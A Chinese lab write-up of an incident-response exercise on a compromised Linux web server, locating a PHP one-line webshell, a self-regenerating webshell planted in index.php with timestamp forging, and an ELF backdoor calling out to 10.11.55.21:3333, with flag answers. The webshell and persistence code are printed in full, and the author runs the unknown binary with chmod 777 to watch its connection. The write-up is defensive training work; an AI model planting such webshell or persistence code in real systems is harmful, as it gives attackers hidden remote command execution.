玄机靶场--第一章 应急响应- Linux入侵排查

文章目录

第一章 应急响应- Linux入侵排查

复制代码
账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
1.web目录存在木马,请找到木马的密码提交

和上一次的webshell查杀一样,可以尝试搜索jsp、php、asp、aspx这几种特殊后缀文件,并尝试寻找其中的危险函数来查找webshell。

bash 复制代码
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 

命令解析:

bash 复制代码
find ./ type f -name "*.php" | xargs grep "eval(" 
  • find ./ type f -name "*.php":在当前目录及子目录下,寻找以.php后缀结尾的文件。,输出其文件路径。
  • xargs:xargs会将前面所得到的文件对应的路径,传递给grep,并且让 grep 在每个文件的内容中查找。
  • grep "eval(" :在文件内容中查找字符串 "eval("

这里在搜索.php文件并过滤eval函数的时候,得到了三个文件.shell.phpindex.php1.php

bash 复制代码
root@ip-10-0-10-4:/var/www# find ./ type f -name "*.php" | xargs grep "eval(" 
find: 'type': No such file or directory
find: 'f': No such file or directory
./html/.shell.php:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
./html/index.php:$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
./html/1.php:<?php eval($_POST[1]);?>

看到1.php中一句话木马密码为1

复制代码
flag{1}
2.服务器疑似存在不死马,请找到不死马的密码提交

上面还有.shell.phpindex.php这两个文件,挨个看一下

bash 复制代码
root@ip-10-0-10-4:/var/www# cd html
root@ip-10-0-10-4:/var/www/html# cat .shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>
root@ip-10-0-10-4:/var/www/html# cat index.php
<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
        $path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
        Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
        Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
?>
php 复制代码
//shell.php
<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>

index.php产生的,这段代码作用是判断传入的密码的MD5值是否正确,如果正确,则可以通过POST提交的参数cmd进行命令执行。

php 复制代码
//index.php
<?php
//引入外部文件
include('config.php');  //config.php通常是配置文件
include(SYS_ROOT.INC.'common.php'); //common.php通常是公共的辅助函数或类库
//获取路径
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
        $path=substr($path,1);
}
$path = Base::safeword($path); //做安全处理,对路径进行过滤
//控制器
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
        Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
        Index::run($path);
}
//创建恶意文件,并将恶意代码写入其中
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php'); //伪造文件时间戳
usleep(3000); //增加延迟避免监控
?>
复制代码
密码的MD5值:5d41402abc4b2a76b9719d911017c592
经过MD5解密:hello

flag{hello}
3.不死马是通过哪个文件生成的,请提交文件名

由上一题分析得到,不死马由index.php生成。

复制代码
flag{index.php}
4.黑客留下了木马文件,请找出黑客的服务器ip提交

返回web目录,查看一下还有什么,看到一个可疑的文件'shell(1).elf'。可以尝试执行一下,然后查看连接的服务器。

bash 复制代码
root@ip-10-0-10-4:/var/www/html# ls
 1.php   admin     config.php   favicon.ico   index.php     LICENSE    README.md  'shell(1).elf'   template
 1.tar   api.php   data         include       install.php   pictures   rss.php     sitemap.php     wap
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'
-bash: syntax error near unexpected token `1'
root@ip-10-0-10-4:/var/www/html# chmod 777 'shell(1).elf'
root@ip-10-0-10-4:/var/www/html# ./'shell(1).elf'

在html目录下存在一个'shell(1).elf'文件,尝试执行,发现没有权限,直接给777权限,然后执行。

这里执行之后是没有任何回显的,需要再开一个连接。

bash 复制代码
root@ip-10-0-10-4:~# netstat -antlp | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      553/mysqld          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      496/sshd            
tcp        0      0 10.0.10.4:22            223.102.112.50:17121    ESTABLISHED 1230/sshd: root@not 
tcp        0    168 10.0.10.4:22            223.102.112.50:17216    ESTABLISHED 8360/sshd: root@pts 
tcp        0      0 10.0.10.4:22            188.165.33.179:35306    SYN_RECV    -                   
tcp        0      1 10.0.10.4:33052         10.11.55.21:3333        SYN_SENT    6941/./shell(1).elf 
tcp        0      0 10.0.10.4:22            223.102.112.50:17101    ESTABLISHED 814/sshd: root@pts/ 
tcp6       0      0 :::80                   :::*                    LISTEN      680/apache2         
tcp6       0      0 :::22                   :::*                    LISTEN      496/sshd    

命令分析:

bash 复制代码
netstat -antlp | more

netstat用于显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息。可以用于显示网络连接和监听端口的详细信息。

  • -a:显示所有连接中的端口,包括监听和非监听。
  • -n:以数字形式显示地址和端口号,而不是将其解析为主机名或服务名。
  • -t:显示 TCP 连接。
  • -l:显示监听状态的套接字。
  • -p:显示使用每个套接字的程序。

使用more命令通过分页方式呈现输出内容。

找到连接的ip:10.11.55.21

复制代码
flag{10.11.55.21}
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

同上

复制代码
flag{3333}
利用工具排查

将/var/www/html目录dump下来,使用D盾扫描

扫出来的第二个文件1.php,即为第一问所需的文件。

扫出来的第四个文件index.php,即为第二问、第三问所需的文件。

剩下的没有扫出来的使用云沙箱等工具扫描,这里使用微步的云沙箱发现shell(1).elf文件,并且可以找到服务器ip以及端口。

相关推荐
老歌老听老掉牙27 分钟前
Open CASCADE学习|实现裁剪操作
c++·学习·opencascade·裁剪
新辞旧梦3 小时前
企业微信自建消息推送应用
服务器·python·企业微信
虎头金猫3 小时前
如何解决 403 错误:请求被拒绝,无法连接到服务器
运维·服务器·python·ubuntu·chatgpt·centos·bug
RLG_星辰3 小时前
第六章-哥斯拉4.0流量分析与CVE-2017-12615的复现
笔记·安全·网络安全·tomcat·应急响应·玄机
eternal__day4 小时前
Spring Boot 实现验证码生成与校验:从零开始构建安全登录系统
java·spring boot·后端·安全·java-ee·学习方法
技术求索者5 小时前
c++学习
开发语言·c++·学习
muxue1785 小时前
关于almalinux分区配置:
linux·运维·数据库
独行soc7 小时前
2025年渗透测试面试题总结-某服面试经验分享(附回答)(题目+回答)
linux·运维·服务器·网络安全·面试·职场和发展·渗透测试
FAREWELL000757 小时前
Untiy基础学习(六)MonoBehaviour基类的简单介绍
学习·unity·游戏引擎
付出不多7 小时前
Nginx安全防护与HTTPS部署
nginx·安全·https